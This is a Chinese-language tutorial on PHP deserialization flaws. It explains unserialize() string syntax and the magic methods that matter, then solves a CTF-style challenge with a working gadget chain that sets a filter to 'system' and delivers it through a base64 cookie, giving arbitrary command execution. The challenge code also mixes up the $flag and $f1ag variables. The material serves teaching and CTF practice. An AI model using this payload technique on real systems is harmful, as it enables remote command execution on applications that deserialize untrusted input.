原理介绍

php允许字符串和具体代码中类对象的转换，在转换过程中，会调用对应类对象的魔法函数，所以攻击者可以通过已有类的魔法函数写的功能突破限制，实现具体攻击。php反序列化实际上就是通过改变unserialize()函数的参数，构建利用链执行自己想要的代码的一种漏洞。
unserialize()函数可以接收的字符串格式如下：
O:5:"Start":1:{s:4:"name";s:5:"hello";}
其中各个字符的含义如下图：

unserialize函数参数字符串格式

<?php
class Start{
    public $name;
}

$start = new Start();
$start->name = "hello";
var_dump(serialize($start))
?>

需要关注的函数

__autoload // 如果出现了当前命名空间不存在的类时，会自动调用该函数，把那个类名当作参数传入该函数
__construct //当一个对象创建时被调用，new的时候调用
__destruct //当一个对象销毁时被调用，程序运行完调用
__toString//当一个对象被当作一个字符串使用，echo 对象调用 ，或者对象拼接字符串时触发
__sleep()//在对象被序列化之前运行，serialize的时候调用
__wakeup//在对象被反序列化之后被调用，unserialize的时候调用
__get //需要调用私有属性时自动调用，对象->xxx ，xxx变量不存在的时候调用
__invoke //当对象被当成函数使用时调用，对象() 调用

简单示例

题目代码如下：

<?php
# index.php
if (isset($_COOKIE['yyds'])) {
    $flag= $_COOKIE['yyds'];
    require 'class.php';
}
?>
<?php
# class.php
$f1ag = unserialize(base64_decode($f1ag));
if (isset($_GET['p'])) {
    $p = $_GET['p'];
    $f1ag->$p;
}
class F1agconfig
{
    private $f1ag;
    private $path;
    public $filter;
    public function __construct($f1ag = "")
    {
        $this->f1ag = $f1ag;
    }
    public function getConfig()
    {
        if ($this->f1ag == "") {
            $f1ag = isset($_POST['F1agconfig']) ? $_POST['F1agconfig'] : "";
        }
    }
    public function SetFilter($value)
    {
        if ($this->filter) {
            foreach ($this->filter as $filter) {
                $array = is_array($value) ? array_map($filter, $value) : call_user_func($filter, $value);
            }
            $this->filter = array();
        } else {
            return false;
        }
        return true;
    }
    public function __get($key)
    {
        $this->SetFilter($key);
        die("");
    }
}

解题思路：
利用F1agconfig类中的__get方法，调用SetFilter，再将$filter变量值设为一个php命令执行函数，从而实现任意命令执行。

<?php
class F1agconfig
{
    public $filter=array("1"=>"system");
}

$a = new F1agconfig();
echo base64_encode(serialize($a));

将Cookie中的yyds设为
TzoxMDoiRjFhZ2NvbmZpZyI6MTp7czo2OiJmaWx0ZXIiO2E6MTp7aToxO3M6Njoic3lzdGVtIjt9fQ==
再设置参数p为想要执行的命令，即可触发容易执行漏洞。

image.png